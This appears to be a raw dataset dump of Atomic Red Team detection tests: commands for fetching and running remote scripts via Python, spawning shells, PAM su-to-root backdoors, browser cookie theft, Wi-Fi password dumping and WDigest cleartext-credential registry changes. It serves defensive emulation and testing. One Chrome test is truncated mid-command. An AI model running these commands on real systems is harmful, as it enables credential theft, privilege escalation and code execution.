deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1059.006: Command and Scripting Interpreter: Python
Test: Execute Python via scripts
Platforms: linux
Executor: sh

Description:
Create Python file (.py) that downloads and executes shell script via executor arguments

Command:
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}


Cleanup:
rm #{python_script_name} #{payload_file_name}  


Dependencies:
Requires Python
Atomic Red Team — T1059.006: Command and Scripting Interpreter: Python
Test: Execute Python via Python executables
Platforms: linux
Executor: sh

Description:
Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments


Command:
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python

Cleanup:
rm #{python_binary_name} #{python_script_name} #{payload_file_name}


Dependencies:
Requires Python
Atomic Red Team — T1059.006: Command and Scripting Interpreter: Python
Test: Python pty module and spawn function used to spawn sh or bash
Platforms: linux
Executor: sh

Description:
Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence


Command:
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit

Dependencies:
Verify if python is in the environment variable path and attempt to import requests library.
Atomic Red Team — T1580: Cloud Infrastructure Discovery
Test: AWS - EC2 Enumeration from Cloud Instance
Platforms: linux, macos, iaas:aws
Executor: sh

Description:
This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/


Command:
export AWS_REGION=#{aws_region}
cd #{stratus_path}
echo "Stratus: Start Warmup."
./stratus warmup aws.discovery.ec2-enumerate-from-instance
echo "Stratus: Start Detonate."
./stratus detonate aws.discovery.ec2-enumerate-from-instance


Cleanup:
cd #{stratus_path}
echo "Stratus: Start Cleanup."
./stratus cleanup aws.discovery.ec2-enumerate-from-instance
echo "Removing Stratus artifacts from local machine."
rm -rf stratus*


Dependencies:
Stratus binary must be present at the (#{stratus_path}/stratus)

Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1580: Cloud Infrastructure Discovery
Test: AWS - EC2 Security Group Enumeration
Platforms: iaas:aws
Executor: command_prompt

Description:
Simulate an attacker's action to enumerate EC2 Security Groups in a compromised AWS environment.

Command:
aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}


Dependencies:
AWS CLI installed and configured with the necessary access rights.
Check if AWS CLI is installed and configured.
Atomic Red Team — T1027.013: Obfuscated Files or Information: Encrypted/Encoded File
Test: Decode Eicar File and Write to File
Platforms: windows, macos, linux
Executor: powershell

Description:
Decode the eicar value, and write it to file, for AV/EDR to try to catch.

Command:
$encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="
$bytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($bytes)
#write the decoded eicar string to file
$decodedString | Out-File $env:temp\T1027.013_decodedEicar.txt

Cleanup:
Remove-Item $env:temp\T1027.013_decodedEicar.txt -Force -ErrorAction Ignore
Atomic Red Team — T1027.013: Obfuscated Files or Information: Encrypted/Encoded File
Test: Decrypt Eicar File and Write to File
Platforms: windows, macos, linux
Executor: powershell

Description:
Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.

Command:
$encryptedString = "76492d1116743f0423413b16050a5345MgB8AGkASwA0AHMAbwBXAFoAagBkAFoATABXAGIAdAA5AFcAWAB1AFMANABVAEEAPQA9AHwAZQBjAGMANgAwADQAZAA0AGQAMQAwADUAYgA4ADAAMgBmADkAZgBjADEANQBjAGMANQBiAGMANwA2AGYANQBmADUANABhAGIAYgAyAGMANQA1AGQAMgA5ADEANABkADUAMgBiAGMANgA2AGMAMAAxADUAZABjADAAOABjAGIANAA1ADUANwBjADcAZQBlAGQAYgAxADEAOQA4AGIAMwAwADMANwAwADAANQA2ADQAOAA4ADkAZgA4ADMAZQA4ADgAOQBiAGEAMAA2ADMAMQAyADYAMwBiAGUAMAAxADgANAA0ADYAOAAxADQANQAwAGUANwBkADkANABjADcANQAxADgAYQA2ADMANQA4AGIAYgA1ADkANQAzAGIAMwAxADYAOAAwADQAMgBmADcAZQBjADYANQA5AGIANwBkADUAOAAyAGEAMgBiADEAMQAzAGQANABkADkAZgA3ADMAMABiADgAOQAxADAANAA4ADcAOQA5ADEAYQA1ADYAZAAzADQANwA3AGYANgAyADcAMAAwADEAMQA4ADEAZgA5ADUAYgBmAGYANQA3ADQAZQA4AGUAMAAxADUANwAwAGQANABiADMAMwA2ADgANwA0AGIANwAyADMAMQBhADkAZABhADEANQAzADQAMgAzADEANwAxADAAZgAxADkAYQA1

Cleanup:
Remove-Item $env:temp\T1027.013_decryptedEicar.txt -Force -ErrorAction Ignore
Atomic Red Team — T1027.013: Obfuscated Files or Information: Encrypted/Encoded File
Test: Password-Protected ZIP Payload Extraction and Execution
Platforms: linux, macos
Executor: bash

Description:
Extracts and executes a script from a password-protected ZIP archive.
This technique is commonly used by malware families like Emotet and QBot to deliver payloads
via email attachments where the password is provided in the message body.
The encrypted ZIP evades static file analysis until extracted at runtime.
Upon successful execution, displays confirmation and system information.


Command:
echo '#!/bin/bash' > /tmp/art_payload.sh
echo 'echo "T1027.013: Payload extracted from encrypted ZIP"' >> /tmp/art_payload.sh
echo 'echo "Hostname: $(hostname)"' >> /tmp/art_payload.sh
echo 'echo "User: $(whoami)"' >> /tmp/art_payload.sh
echo 'uname -a' >> /tmp/art_payload.sh
cd /tmp && zip -P "#{zip_password}" art_encrypted.zip art_payload.sh
rm /tmp/art_payload.sh
echo "Encrypted ZIP created. Extracting with password..."
unzip -P "#{zip_password}" -o /tmp/art_encrypted.zip -d /tmp/
echo "Executing extracted payload:"
bash /tmp/art_payload.sh


Cleanup:
rm -f /tmp/art_payload.sh
rm -f /tmp/art_encrypted.zip


Dependencies:
zip and unzip must be installed
# T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery

## Description from ATT&CK

> Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.
> 
> Adversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)
> 
> On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)

[Source](https://attack.mitre.org/techniques/T1016/002)

## Atomic Tests

- [Atomic Test #1: Enumerate Stored Wi-Fi Profiles And Passwords via netsh](#atomic-test-1-enumerate-stored-wi-fi-profiles-and-passwords-via-netsh)

### Atomic Test #1: Enumerate Stored Wi-Fi Profiles And Passwords via netsh

Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present).

**Supported Platforms:** Windows

**auto_generated_guid:** `53cf1903-0fa7-4177-ab14-f358ae809eec`

#### Attack Commands: Run with `command_prompt`!

```cmd
netsh wlan show profile * key=clear
```
Atomic Red Team — T1016.002: System Network Configuration Discovery: Wi-Fi Discovery
Test: Enumerate Stored Wi-Fi Profiles And Passwords via netsh
Platforms: windows
Executor: command_prompt

Description:
Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present).

Command:
netsh wlan show profile * key=clear
Atomic Red Team — T1556.003: Modify Authentication Process: Pluggable Authentication Modules
Test: Malicious PAM rule
Platforms: linux
Executor: sh

Description:
Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.


Command:
sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}


Cleanup:
sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}
Atomic Red Team — T1556.003: Modify Authentication Process: Pluggable Authentication Modules
Test: Malicious PAM rule (freebsd)
Platforms: linux
Executor: sh

Description:
Inserts a rule into a PAM config and then tests it.

Upon successful execution, this test will insert a rule that allows every user to su to root without a password.


Command:
sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}


Cleanup:
sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf}
Atomic Red Team — T1556.003: Modify Authentication Process: Pluggable Authentication Modules
Test: Malicious PAM module
Platforms: linux
Executor: sh

Description:
Creates a PAM module, inserts a rule to use it, and then tests it.

Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.


Command:
sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}


Cleanup:
sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf}


Dependencies:
The PAM development library must be installed to build the PAM module

The PAM module must exist on disk at specified location (#{path_to_pam_module})
Atomic Red Team — T1559: Inter-Process Communication
Test: Cobalt Strike Artifact Kit pipe
Platforms: windows
Executor: command_prompt

Description:
Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.


Command:
"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 1


Dependencies:
Named pipe executors must exist on disk
Atomic Red Team — T1559: Inter-Process Communication
Test: Cobalt Strike Lateral Movement (psexec_psh) pipe
Platforms: windows
Executor: command_prompt

Description:
Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.


Command:
"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 2


Dependencies:
Named pipe executors must exist on disk
Atomic Red Team — T1559: Inter-Process Communication
Test: Cobalt Strike SSH (postex_ssh) pipe
Platforms: windows
Executor: command_prompt

Description:
Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.


Command:
"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 3


Dependencies:
Named pipe executors must exist on disk
Atomic Red Team — T1559: Inter-Process Communication
Test: Cobalt Strike post-exploitation pipe (4.2 and later)
Platforms: windows
Executor: command_prompt

Description:
Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.


Command:
"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 4


Dependencies:
Named pipe executors must exist on disk
Atomic Red Team — T1559: Inter-Process Communication
Test: Cobalt Strike post-exploitation pipe (before 4.2)
Platforms: windows
Executor: command_prompt

Description:
Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.


Command:
"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe" --pipe 5


Dependencies:
Named pipe executors must exist on disk
Atomic Red Team — T1539: Steal Web Session Cookie
Test: Steal Firefox Cookies (Windows)
Platforms: windows
Executor: powershell

Description:
This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. 
Note: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. 


Command:
stop-process -name "firefox" -force -erroraction silentlycontinue
$CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"
"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c #{sqlite3_path} "$CookieDBLocation" | out-file -filepath "#{output_file}"


Cleanup:
remove-item #{output_file} -erroraction silentlycontinue


Dependencies:
Sqlite3 must exist at (#{sqlite3_path})
Atomic Red Team — T1539: Steal Web Session Cookie
Test: Steal Chrome Cookies (Windows)
Platforms: windows
Executor: powershell

Description:
This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. 
Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. 
Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. 


Command:
stop-process -name "chrome" -force -erroraction silentlycontinue
"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c #{sqlite3_path} "#{cookie_db}" | out-file -filepath "#{output_file}"


Cleanup:
remove-item #{output_file}


Dependencies:
Sqlite3 must exist at (#{sqlite3_path})
Atomic Red Team — T1539: Steal Web Session Cookie
Test: Steal Chrome Cookies via Remote Debugging (Mac)
Platforms: macos
Executor: bash

Description:
The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

If successful, this test will output a list of cookies.

Note: Chrome processes will be killed during this test.

See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e

Command:
killall 'Google Chrome'
sleep 1
open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/
sleep 1
/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337

Cleanup:
rm -rf /tmp/WhiteChocolateMacademiaNut

Dependencies:
Install Go
Download and compile WhiteChocolateMacademiaNut
Atomic Red Team — T1539: Steal Web Session Cookie
Test: Steal Chrome v127+ cookies via Remote Debugging (Windows)
Platforms: windows
Executor: powershell

Description:
Chrome v127+ uses app-bound encryption to protect cookies. This test bypasses that protection to obtain the cookies. If successful, the test outputs cookie values to the console.
Note: Will stop any instances of Chrome already running
Adapted from https://embracethered.com/blog/posts/2024/cookie-theft-in-2024-and-what-todo

Command:
$devToolsPort = 9222
$testUrl = "https://www.google.com"
stop-process -name "chrome" -force -erroraction silentlycontinue
$chromeProcess = Start-Process "chrome.exe" "$testUrl --remote-debugging-port=$devToolsPort --profile-directory=Default" -PassThru
Start-Sleep 10
$jsonResponse = Invoke-WebRequest "http://localhost:$devToolsPort/json" -UseBasicParsing
$devToolsPages = ConvertFrom-Json $jsonResponse.Content
$ws_url = $devToolsPages[0].webSocketDebuggerUrl
$ws = New-Object System.Net.WebSockets.ClientWebSocket
$uri = New-Object System.Uri($ws_url)
$ws.ConnectAsync($uri, [System.Threading.CancellationToken]::None).Wait()
$GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'
$buffer = [System.Text.Encoding]::UTF8.GetBytes($GET_ALL_COOKIES_REQUEST)
$segment = New-Object S
Atomic Red Team — T1539: Steal Web Session Cookie
Test: Copy Safari BinaryCookies files using AppleScript
Platforms: macos
Executor: sh

Description:
This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.


Command:
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'

Cleanup:
rm "#{destination_path}/Cookies.binarycookies"
Atomic Red Team — T1112: Modify Registry
Test: Modify Registry of Current User Profile - cmd
Platforms: windows
Executor: command_prompt

Description:
Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully."
will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.


Command:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f


Cleanup:
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1
Atomic Red Team — T1112: Modify Registry
Test: Modify Registry of Local Machine - cmd
Platforms: windows
Executor: command_prompt

Description:
Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully."
will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.


Command:
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f


Cleanup:
reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1
Atomic Red Team — T1112: Modify Registry
Test: Modify registry to store logon credentials
Platforms: windows
Executor: command_prompt

Description:
Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Upon execution, the message "The operation completed successfully." will be displayed.
Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.


Command:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f


Cleanup:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1
Atomic Red Team — T1112: Modify Registry
Test: Use Powershell to Modify registry to store logon credentials
Platforms: windows
Executor: powershell

Description:
Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.


Command:
Set-ItemProperty -Force -Path  'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name  'UseLogonCredential' -Value '1' -ErrorAction Ignore


Cleanup:
Set-ItemProperty -Force -Path  'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name  'UseLogonCredential' -Value '0' -ErrorAction Ignore